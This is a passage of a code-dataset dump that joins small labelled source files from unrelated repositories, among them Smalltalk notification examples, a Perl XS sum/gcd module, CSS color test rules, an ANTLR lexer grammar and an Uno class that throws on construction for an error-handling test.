| anElement |
anElement := GtNotificationMessageElement new.
self assert: anElement notification isNil.
^ anElement
]
{ #category : #'examples - message notification' }
GtNotificationMessageExamples >> basicMessageEvent [
<gtExample>
| anEvent |
anEvent := GtNotificationMessage new.
self assert: anEvent message isString.
self assert: (anEvent asElement isKindOf: BlElement).
^ anEvent
]
{ #category : #'examples - message notification' }
GtNotificationMessageExamples >> basicNotificationEvent [
<gtExample>
| anEvent |
anEvent := GtNotificationEvent new.
self assert: (anEvent asElement isKindOf: BlElement).
^ anEvent
]
{ #category : #'examples - message notification' }
GtNotificationMessageExamples >> notificationMessage [
<gtExample>
| anEvent aMessage |
anEvent := GtNotificationMessage new.
aMessage := 'Hello Glamorous Toolkit'.
anEvent message: aMessage.
self assert: anEvent message equals: aMessage.
^ anEvent
]
| Smalltalk | 4 | markfirmware/gtoolkit | src/GToolkit-Notifications/GtNotificationMessageExamples.class.st | [
"MIT"
] |
template components/spma/functions;
# This template is used for testing the --pancinclude/--pancexclude options
# of "aq compile".
"/software/packages" = {
debug("Assigning repositories to packages...");
null;
};
| Pan | 2 | ned21/aquilon | tests/templates/aquilon/components/spma/functions.pan | [
"Apache-2.0"
] |
/**
* This file is part of the Phalcon Framework.
*
* (c) Phalcon Team <[email protected]>
*
* For the full copyright and license information, please view the LICENSE.txt
* file that was distributed with this source code.
*/
namespace Phalcon\Image;
class Enum
{
// Resizing constraints
const AUTO = 4;
const HEIGHT = 3;
const INVERSE = 5;
const NONE = 1;
const PRECISE = 6;
const TENSILE = 7;
const WIDTH = 2;
// Flipping directions
const HORIZONTAL = 11;
const VERTICAL = 12;
}
| Zephir | 3 | tidytrax/cphalcon | phalcon/Image/Enum.zep | [
"BSD-3-Clause"
] |
#define PERL_NO_GET_CONTEXT
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
MODULE = XSBench::XS PACKAGE = XSBench::XS
NV xs_sum(AV* array)
INIT:
NV sum = 0;
SSize_t i, top = av_top_index(array);
CODE:
sv_2mortal(SvREFCNT_inc(array));
for (i = 0; i <= top; i++) {
SV **sv = av_fetch(array, i, 0);
if (sv != NULL) {
sum += SvNV(*sv);
}
}
RETVAL = sum;
OUTPUT:
RETVAL
IV xs_gcd(IV a, IV b)
INIT:
IV t;
CODE:
while (b > 0) {
t = a;
a = b;
b = t % b;
}
RETVAL = a < 0 ? -a : a;
OUTPUT:
RETVAL
| XS | 4 | hiratara/perl-xs | bench/xs/XS.xs | [
"BSD-2-Clause"
] |
.hex-rule {
background: #abcdef;
}
.hex-three-rule {
background: #abc;
}
.rgb-rule {
background: rgb(100, 200, 150);
}
.rgba-rule {
background: rgba(100, 200, 150, 0.5);
}
.hsl-rule {
background: hsl(180, 50%, 50%);
}
.hsla-rule {
background: hsla(180, 50%, 50%, 0.5);
}
.invalid-color {
background: rgb(150;
}
.multiple-colors {
background: linear-gradient(90deg, #aabbcc, #ddeeff);
}
.uppercase-hex {
background: #DEFCBA;
}
.missing-percent {
background: hsla(180, 50, 50, 0.5);
}
.in-shorthand {
border: 1px solid #0f0f0f;
}
.rgba-leading-period {
background: rgba(100, 200, 150, .5);
}
.hsla-leading-period {
background: hsla(180, 50%, 50%, .5);
}
| CSS | 3 | ravitejavalluri/brackets | src/extensions/default/InlineColorEditor/unittest-files/unittests.css | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8"?>
<?python
"""
A OWS exception report.
@param report: An ows_common.exception_report object
"""
def hide_optionals(attrDict, optionals=None):
"""
Returns a copy of attrDict where any value which is None and in optionals is removed.
If optionals=None all keys are considered optional.
@todo: move this to a utils module
"""
od = {}
for key, value in attrDict.items():
if (value is not None) or (optionals and key not in optionals):
od[key] = value
return od
?>
<ExceptionReport xmlns="http://www.opengis.net/ows"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:py="http://purl.org/kid/ns#"
xsi:schemaLocation="http://www.opengis.net/ows owsExceptionReport.xsd"
version="${report.version}"
py:attrs="hide_optionals(dict(language=report.lang))">
<Exception py:for="e in report.exceptions"
py:content="e.text"
exceptionCode="${e.code}"
py:attrs="hide_optionals(dict(locator=e.locator))"/>
</ExceptionReport>
| Genshi | 4 | cedadev/cows | cows/pylons/templates/exception_report.kid | [
"BSD-2-Clause"
] |
lexer grammar t056lexer13;
options {language=JavaScript;}
B : x=A x=A ;
fragment A : 'a' ;
| G-code | 3 | DanielMabadeje/Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials | java/java2py/antlr-3.1.3/runtime/JavaScript/tests/functional/t056lexer13.g | [
"Apache-2.0"
] |
module com.networknt.common {
exports com.networknt.common;
requires com.networknt.service;
requires com.networknt.utility;
requires com.networknt.decryptor;
} | Jasmin | 3 | KellyShao/light-4j | common/src/main/java/module-info.j | [
"Apache-2.0"
] |
using Uno;
using Fuse.Controls;
using Fuse.Gestures;
public class ConstructorThrower : Button
{
public ConstructorThrower()
{
throw new Exception("Bye from Uno constructor");
}
} | Uno | 3 | mortend/fuse-studio | Projects/JsErrors/ConstructorThrower.uno | [
"MIT"
] |